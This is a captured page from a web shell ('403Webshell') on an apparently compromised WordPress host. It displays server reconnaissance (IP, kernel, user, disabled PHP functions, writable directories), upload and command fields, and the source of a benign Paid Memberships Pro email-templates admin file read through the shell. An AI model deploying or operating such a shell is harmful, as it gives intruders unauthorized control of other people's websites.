403Webshell
Server IP : 104.21.28.229  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/paid-memberships-pro/adminpages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/paid-memberships-pro/adminpages/emailtemplates.php
<?php
	//only admins can get this
	if(!function_exists("current_user_can") || (!current_user_can("manage_options") && !current_user_can("pmpro_emailsettings")))
	{
		die( esc_html__("You do not have permissions to perform this action.", 'paid-memberships-pro' ));
	}	
	
	global $wpdb, $msg, $msgt;
	
	//get/set settings
	global $pmpro_pages;

	global $pmpro_email_templates_defaults, $current_user;	
				
	require_once(dirname(__FILE__) . "/admin_header.php");		
?>
<form action="" method="post" enctype="multipart/form-data"> 
	<?php wp_nonce_field('savesettings', 'pmpro_emailsettings_nonce');?>
	<hr class="wp-header-end">
	<h1><?php esc_html_e( 'Email Templates', 'paid-memberships-pro' ); ?></h1>
	<div id="edit-email-templates" class="pmpro_section" data-visibility="shown" data-activated="true">
		<div class="pmpro_section_toggle">
			<button class="pmpro_section-toggle-button" type="button" aria-expanded="true">
				<span class="dashicons dashicons-arrow-up-alt2"></span>
				<?php esc_html_e( 'Edit Email Templates', 'paid-memberships-pro' ); ?>
			</button>
		</div>
		<div class="pmpro_section_inside">
			<p><?php esc_html_e( 'Select an email template from the dropdown below to customize the subject and body of emails sent through your membership site. You can also disable a specific email or send a test version through this admin page.', 'paid-memberships-pro' ); ?> <a href="https://www.paidmembershipspro.com/documentation/member-communications/list-of-pmpro-email-templates/" target="_blank"><?php esc_html_e( 'Click here for a description of each email sent to your members and admins at different stages of the member experience.', 'paid-memberships-pro'); ?></a></p>
			<table class="form-table">
				<tr class="status hide-while-loading" style="display:none;">
					<th scope="row" valign="top"></th>
					<td>
						<div id="message" class="status_message_wrapper">
							<p class="status_message"></p>
						</div>
					</td>
				</tr>
				<tr>
					<th scope="row" valign="top">
						<label for="pmpro_email_template_switcher"><?php esc_html_e( 'Email Template', 'paid-memberships-pro' ); ?></label>
					</th>
					<td>
						<select name="pmpro_email_template_switcher" id="pmpro_email_template_switcher">
							<option value="" selected="selected"><?php echo '--- ' . esc_html__( 'Select a Template to Edit', 'paid-memberships-pro' ) . ' ---'; ?></option>

						<?php foreach ( $pmpro_email_templates_defaults as $key => $template ): ?>
							<option value="<?php echo esc_attr( $key ); ?>"><?php echo esc_html( $template['description'] ); ?></option>

						<?php endforeach; ?>
						</select>
						<img src="<?php echo esc_url( admin_url( 'images/wpspin_light.gif' ) ); ?>" id="pmproet-spinner" style="display:none;"/>

						<p id="pmpro_email_template_help_text" class="description"></p>
					</td>
				</tr>
				<tr class="hide-while-loading">
					<th scope="row" valign="top"></th>
					<td>
						<label><input id="pmpro_email_template_disable" name="pmpro_email_template_disable" type="checkbox" /><span
								id="disable_label"><?php esc_html_e( 'Disable this email?', 'paid-memberships-pro' ); ?></span></label>


						<p id="disable_description" class="description"><?php esc_html_e( 'Emails with this template will not be sent.', 'paid-memberships-pro' ); ?></p>

					</td>
				</tr>
				<tr class="hide-while-loading">
					<th scope="row" valign="top"><label for="pmpro_email_template_subject"><?php esc_html_e( 'Subject', 'paid-memberships-pro' ); ?></label></th>

					<td>
						<input id="pmpro_email_template_subject" name="pmpro_email_template_subject" type="text" size="100"/>
					</td>
				</tr>
				<tr class="hide-while-loading">
					<th scope="row" valign="top"><label for="pmpro_email_template_body"><?php esc_html_e( 'Body', 'paid-memberships-pro' ); ?></label></th>

					<td>
						<div id="template_editor_container">
							<textarea rows="10" cols="80" name="pmpro_email_template_body" id="pmpro_email_template_body"></textarea>
						</div>
					</td>
				</tr>
				<tr class="hide-while-loading">
					<th scope="row" valign="top"></th>
					<td>
						<?php esc_html_e( 'Send a test email to ', 'paid-memberships-pro' ); ?>
						<input id="test_email_address" name="test_email_address" type="text"
							value="<?php echo esc_attr( $current_user->user_email ); ?>"/>
						<input id="send_test_email" class="button" name="send_test_email" value="<?php esc_attr_e( 'Save Template and Send Email', 'paid-memberships-pro' ); ?>"

							type="button"/>

						<p class="description">
							<?php esc_html_e( 'Your current membership will be used for any membership level data.', 'paid-memberships-pro' ); ?>
						</p>
					</td>
				</tr>
				<tr class="controls hide-while-loading">
					<th scope="row" valign="top"></th>
					<td>
						<p class="submit">
							<input id="pmpro_submit_template_data" name="pmpro_save_template" type="button" class="button-primary"
								value="<?php esc_attr_e( 'Save Template', 'paid-memberships-pro' ); ?>"/>

							<input id="pmpro_reset_template_data" name="pmpro_reset_template" type="button" class="button"
								value="<?php esc_attr_e( 'Reset Template', 'paid-memberships-pro' ); ?>"/>

						</p>
					</td>
				</tr>
			</table>
		</div> <!-- end pmpro_section_inside -->
	</div> <!-- end pmpro_section -->
	<div id="email-variable-reference" class="pmpro_section" data-visibility="shown" data-activated="true">
		<div class="pmpro_section_toggle">
			<button class="pmpro_section-toggle-button" type="button" aria-expanded="true">
				<span class="dashicons dashicons-arrow-up-alt2"></span>
				<?php esc_html_e( 'Variable Reference', 'paid-memberships-pro' ); ?>
			</button>
		</div>
		<div class="pmpro_section_inside">
			<p><?php esc_html_e( 'Use the placeholder variables below to customize your member and admin emails with specific user or membership data.', 'paid-memberships-pro' ); ?></p>

			<h3><?php esc_html_e('General Settings / Membership Info', 'paid-memberships-pro'); ?></h3>
			<table class="widefat fixed striped">
				<tbody>
					<?php
					$email_variables = [
						'!!name!!'                  => __( 'Display Name (Profile/Edit User > Display name publicly as)', 'paid-memberships-pro' ),
						'!!user_login!!'            => __( 'Username', 'paid-memberships-pro' ),
						'!!sitename!!'              => __( 'Site Title', 'paid-memberships-pro' ),
						'!!siteemail!!'             => __( 'Site Email Address (General Settings > Email OR Memberships > Settings > Email Settings)', 'paid-memberships-pro' ),
						'!!membership_id!!'         => __( 'Membership Level ID', 'paid-memberships-pro' ),
						'!!membership_level_name!!' => __( 'Membership Level Name', 'paid-memberships-pro' ),
						'!!membership_change!!'     => __( 'Membership Level Change', 'paid-memberships-pro' ),
						'!!membership_expiration!!' => __( 'Membership Level Expiration', 'paid-memberships-pro' ),
						'!!startdate!!'             => __( 'Membership Start Date', 'paid-memberships-pro' ),
						'!!enddate!!'               => __( 'Membership End Date', 'paid-memberships-pro' ),
						'!!display_name!!'          => __( 'Display Name (Profile/Edit User > Display name publicly as)', 'paid-memberships-pro' ),
						'!!user_email!!'            => __( 'User Email', 'paid-memberships-pro' ),
						'!!login_url!!'            => __( 'Login URL', 'paid-memberships-pro' ),
						'!!levels_url!!'           => __( 'Membership Levels Page URL', 'paid-memberships-pro' ),
					];

					foreach ( $email_variables as $email_variable => $description ) {
						?>
							<tr>
								<th><code><?php echo esc_html( $email_variable ); ?></code></th>
								<td><?php echo esc_html( $description ); ?></td>
							</tr>
						<?php
					}
					?>
				</tbody>
			</table>

			<h3><?php esc_html_e( 'Billing Information', 'paid-memberships-pro' ); ?></h3>
			<table class="widefat fixed striped">
				<tbody>
					<?php
					$email_variables = [
						'!!billing_address!!' => __( 'Billing Info Complete Address', 'paid-memberships-pro' ),
						'!!billing_name!!'    => __( 'Billing Info Name', 'paid-memberships-pro' ),
						'!!billing_street!!'  => __( 'Billing Info Street Address', 'paid-memberships-pro' ),
						'!!billing_city!!'    => __( 'Billing Info City', 'paid-memberships-pro' ),
						'!!billing_state!!'   => __( 'Billing Info State', 'paid-memberships-pro' ),
						'!!billing_zip!!'     => __( 'Billing Info ZIP Code', 'paid-memberships-pro' ),
						'!!billing_country!!' => __( 'Billing Info Country', 'paid-memberships-pro' ),
						'!!billing_phone!!'   => __( 'Billing Info Phone #', 'paid-memberships-pro' ),
						'!!cardtype!!'        => __( 'Credit Card Type', 'paid-memberships-pro' ),
						'!!accountnumber!!'   => __( 'Credit Card Number (last 4 digits)', 'paid-memberships-pro' ),
						'!!expirationmonth!!' => __( 'Credit Card Expiration Month (mm format)', 'paid-memberships-pro' ),
						'!!expirationyear!!'  => __( 'Credit Card Expiration Year (yyyy format)', 'paid-memberships-pro' ),
						'!!membership_cost!!' => __( 'Membership Level Cost Text', 'paid-memberships-pro' ),
						'!!instructions!!'    => __( 'Payment Instructions (used in Checkout - Email Template)', 'paid-memberships-pro' ),
						'!!invoice_id!!'      => __( 'Invoice ID', 'paid-memberships-pro' ),
						'!!invoice_total!!'   => __( 'Invoice Total', 'paid-memberships-pro' ),
						'!!invoice_date!!'    => __( 'Invoice Date', 'paid-memberships-pro' ),
						'!!invoice_url!!'    => __( 'Invoice Page URL', 'paid-memberships-pro' ),
						'!!discount_code!!'   => __( 'Discount Code Applied', 'paid-memberships-pro' ),
						'!!membership_level_confirmation_message!!' => __( 'Custom Level Confirmation Message', 'paid-memberships-pro' ),
					];

					foreach ( $email_variables as $email_variable => $description ) {
						?>
							<tr>
								<th><code><?php echo esc_html( $email_variable ); ?></code></th>
								<td><?php echo esc_html( $description ); ?></td>
							</tr>
						<?php
					}
					?>
				</tbody>
			</table>
		</div> <!-- end pmpro_section_inside -->
	</div> <!-- end pmpro_section -->
	
	<?php wp_nonce_field( 'pmproet', 'security' ); ?>

</form>
<?php
	require_once(dirname(__FILE__) . "/admin_footer.php");

Youez - 2016 - github.com/yon3zu
LinuXploit